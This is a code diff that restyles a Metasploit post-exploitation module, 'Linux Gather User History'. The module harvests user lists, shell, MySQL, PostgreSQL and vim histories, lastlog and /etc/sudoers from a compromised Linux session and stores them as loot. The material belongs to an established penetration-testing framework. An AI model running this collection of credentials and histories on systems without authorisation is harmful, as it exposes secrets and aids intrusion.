@@ -11,89 +11,85 @@ class Metasploit3 < Msf::Post
11
11
include Msf ::Post ::File
12
12
include Msf ::Post ::Linux ::System
13
13
14
-
15
- def initialize ( info = { } )
16
- super ( update_info ( info ,
17
- 'Name' => 'Linux Gather User History' ,
18
- 'Description' => %q{
14
+ def initialize ( info = { } )
15
+ super ( update_info ( info ,
16
+ 'Name' => 'Linux Gather User History' ,
17
+ 'Description' => %q{
19
18
This module gathers user specific information.
20
19
User list, bash history, mysql history, vim history,
21
20
lastlog and sudoers.
22
21
} ,
23
- 'License' => MSF_LICENSE ,
24
- 'Author' =>
22
+ 'License' => MSF_LICENSE ,
23
+ 'Author' =>
25
24
[
26
25
# based largely on get_bash_history function by Stephen Haywood
27
26
'ohdae <bindshell[at]live.com>'
28
27
] ,
29
- 'Platform' => [ 'linux' ] ,
30
- 'SessionTypes' => [ 'shell' , 'meterpreter' ]
28
+ 'Platform' => [ 'linux' ] ,
29
+ 'SessionTypes' => [ 'shell' , 'meterpreter' ]
31
30
) )
32
-
33
31
end
34
32
35
33
def run
36
34
distro = get_sysinfo
37
35
38
- print_good ( " Info:" )
36
+ print_good ( ' Info:' )
39
37
print_good ( "\t #{ distro [ :version ] } " )
40
38
print_good ( "\t #{ distro [ :kernel ] } " )
41
39
42
- users = execute ( " /bin/cat /etc/passwd | cut -d : -f 1" )
43
- user = execute ( " /usr/bin/whoami" )
40
+ users = execute ( ' /bin/cat /etc/passwd | cut -d : -f 1' )
41
+ user = execute ( ' /usr/bin/whoami' )
44
42
45
- mount = execute ( " /bin/mount -l" )
46
- shells = [ ' ash' , ' bash' , ' csh' , ' ksh' , 'sh' , ' tcsh' , ' zsh' ]
43
+ mount = execute ( ' /bin/mount -l' )
44
+ shells = %w{ ash bash csh ksh sh tcsh zsh }
47
45
shells . each do |shell |
48
46
get_shell_history ( users , user , shell )
49
47
end
50
48
get_mysql_history ( users , user )
51
49
get_psql_history ( users , user )
52
50
get_vim_history ( users , user )
53
- last = execute ( " /usr/bin/last && /usr/bin/lastlog" )
54
- sudoers = cat_file ( " /etc/sudoers" )
51
+ last = execute ( ' /usr/bin/last && /usr/bin/lastlog' )
52
+ sudoers = cat_file ( ' /etc/sudoers' )
55
53
56
- save ( " Last logs" , last ) unless last . blank?
57
- save ( " Sudoers" , sudoers ) unless sudoers . blank? || sudoers =~ /Permission denied/
54
+ save ( ' Last logs' , last ) unless last . blank?
55
+ save ( ' Sudoers' , sudoers ) unless sudoers . blank? || sudoers =~ /Permission denied/
58
56
end
59
57
60
- def save ( msg , data , ctype = " text/plain" )
61
- ltype = " linux.enum.users"
58
+ def save ( msg , data , ctype = ' text/plain' )
59
+ ltype = ' linux.enum.users'
62
60
loot = store_loot ( ltype , ctype , session , data , nil , msg )
63
61
print_status ( "#{ msg } stored in #{ loot . to_s } " )
64
62
end
65
63
66
64
def get_host
67
65
case session . type
68
66
when /meterpreter/
69
- host = sysinfo [ " Computer" ]
67
+ host = sysinfo [ ' Computer' ]
70
68
when /shell/
71
- host = session . shell_command_token ( " hostname" ) . chomp
69
+ host = session . shell_command_token ( ' hostname' ) . chomp
72
70
end
73
-
74
71
print_status ( "Running module against #{ host } " )
75
-
76
- return host
72
+ host
77
73
end
78
74
79
75
def execute ( cmd )
80
76
vprint_status ( "Execute: #{ cmd } " )
81
77
output = cmd_exec ( cmd )
82
- return output
78
+ output
83
79
end
84
80
85
81
def cat_file ( filename )
86
82
vprint_status ( "Download: #{ filename } " )
87
83
output = read_file ( filename )
88
- return output
84
+ output
89
85
end
90
86
91
87
def get_shell_history ( users , user , shell )
92
88
return if shell . nil?
93
- if user == " root" and users != nil
94
- users = users . chomp . split ( )
89
+ if user == ' root' && ! users . nil?
90
+ users = users . chomp . split
95
91
users . each do |u |
96
- if u == " root"
92
+ if u == ' root'
97
93
vprint_status ( "Extracting #{ shell } history for #{ u } " )
98
94
hist = cat_file ( "/root/.#{ shell } _history" )
99
95
else
@@ -111,12 +107,12 @@ def get_shell_history(users, user, shell)
111
107
end
112
108
113
109
def get_mysql_history ( users , user )
114
- if user == " root" and users != nil
115
- users = users . chomp . split ( )
110
+ if user == ' root' && ! users . nil?
111
+ users = users . chomp . split
116
112
users . each do |u |
117
- if u == " root"
113
+ if u == ' root'
118
114
vprint_status ( "Extracting MySQL history for #{ u } " )
119
- sql_hist = cat_file ( " /root/.mysql_history" )
115
+ sql_hist = cat_file ( ' /root/.mysql_history' )
120
116
else
121
117
vprint_status ( "Extracting MySQL history for #{ u } " )
122
118
sql_hist = cat_file ( "/home/#{ u } /.mysql_history" )
@@ -132,12 +128,12 @@ def get_mysql_history(users, user)
132
128
end
133
129
134
130
def get_psql_history ( users , user )
135
- if user == " root" and users != nil
136
- users = users . chomp . split ( )
131
+ if user == ' root' && ! users . nil?
132
+ users = users . chomp . split
137
133
users . each do |u |
138
- if u == " root"
134
+ if u == ' root'
139
135
vprint_status ( "Extracting PostgreSQL history for #{ u } " )
140
- sql_hist = cat_file ( " /root/.psql_history" )
136
+ sql_hist = cat_file ( ' /root/.psql_history' )
141
137
else
142
138
vprint_status ( "Extracting PostgreSQL history for #{ u } " )
143
139
sql_hist = cat_file ( "/home/#{ u } /.psql_history" )
@@ -153,17 +149,16 @@ def get_psql_history(users, user)
153
149
end
154
150
155
151
def get_vim_history ( users , user )
156
- if user == " root" and users != nil
152
+ if user == ' root' && ! users . nil?
157
153
users = users . chomp . split
158
154
users . each do |u |
159
- if u == " root"
155
+ if u == ' root'
160
156
vprint_status ( "Extracting VIM history for #{ u } " )
161
- vim_hist = cat_file ( " /root/.viminfo" )
157
+ vim_hist = cat_file ( ' /root/.viminfo' )
162
158
else
163
159
vprint_status ( "Extracting VIM history for #{ u } " )
164
160
vim_hist = cat_file ( "/home/#{ u } /.viminfo" )
165
161
end
166
-
167
162
save ( "VIM History for #{ u } " , vim_hist ) unless vim_hist . blank? || vim_hist =~ /No such file or directory/
168
163
end
169
164
else
0 commit comments